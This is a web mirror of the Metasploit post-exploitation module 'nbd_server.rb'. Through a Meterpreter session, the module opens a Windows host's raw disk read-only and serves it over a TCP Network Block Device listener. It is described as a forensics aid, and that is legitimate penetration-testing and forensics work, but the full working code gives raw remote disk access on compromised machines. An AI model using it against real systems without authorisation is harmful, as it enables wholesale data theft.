CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/nbd_server.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Maps remote disks and logical volumes to a local Network Block Device
8
# server. Allows for forensic tools to be executed on the remote disk
9
# directly.
10
#
11
# R. Wesley McGrew [email protected]
12
# http://mcgrewsecurity.com
13
# Mississippi State University National Forensics Training Center
14
# http://msu-nftc.org
15
16
class MetasploitModule < Msf::Post
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Windows Manage Local NBD Server for Remote Disks',
23
'Description' => %q{
24
Maps remote disks and logical volumes to a local Network Block
25
Device server. Allows for forensic tools to be executed on the remote disk directly.
26
},
27
'License' => MSF_LICENSE,
28
'Platform' => ['win'],
29
'SessionTypes' => ['meterpreter'],
30
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_railgun_api
35
]
36
}
37
}
38
)
39
)
40
register_options(
41
[
42
OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
43
OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
44
OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
45
]
46
)
47
end
48
49
def run
50
ip_addr = datastore['NBDIP']
51
port = datastore['NBDPORT']
52
devname = datastore['DEVICE']
53
54
invalid_handle_value = 0xFFFFFFFF
55
invalid_set_file_pointer = 0xFFFFFFFF
56
fsctl_allow_extended_dasd_io = 0x00090083
57
ioctl_disk_get_drive_geometry_ex = 0x000700A0
58
59
r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ',
60
0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
61
handle = r['return']
62
r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
63
ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
64
'', 0, 200, 200, 4, '')
65
if ioctl['GetLastError'] == 6
66
ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
67
'', 0, 200, 200, 4, '')
68
end
69
geometry = ioctl['lpOutBuffer']
70
disk_size = geometry[24, 31].unpack('Q')[0]
71
72
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
73
print_status("Listening on #{ip_addr}:#{port}")
74
print_status("Serving #{devname} (#{disk_size} bytes)")
75
rsock = socket.accept
76
print_status('Accepted a connection')
77
78
# Negotiation
79
rsock.put('NBDMAGIC')
80
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
81
82
rsock.put([disk_size].pack('Q').reverse)
83
rsock.put("\x00\x00\x00\x03") # Read-only
84
rsock.put("\x00" * 124)
85
print_line('Sent negotiation')
86
87
loop do
88
request = rsock.read(28)
89
90
unless request
91
print_error('No data received')
92
break
93
end
94
95
magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')
96
97
if magic != 0x25609513
98
print_error('Wrong magic number')
99
break
100
end
101
if request == 2
102
break
103
end
104
105
if request == 1
106
print_error('Attempted write on a read-only nbd')
107
break
108
end
109
next unless request == 0
110
111
client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],
112
offset_n[0, 4].unpack('N')[0], 0)
113
rsock.put("gDf\x98\x00\x00\x00\x00")
114
rsock.put(nbd_handle)
115
data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
116
rsock.put(data)
117
end
118
119
print_status('Closing')
120
rsock.close
121
socket.close
122
123
client.railgun.kernel32.CloseHandle(handle)
124
end
125
end
126
127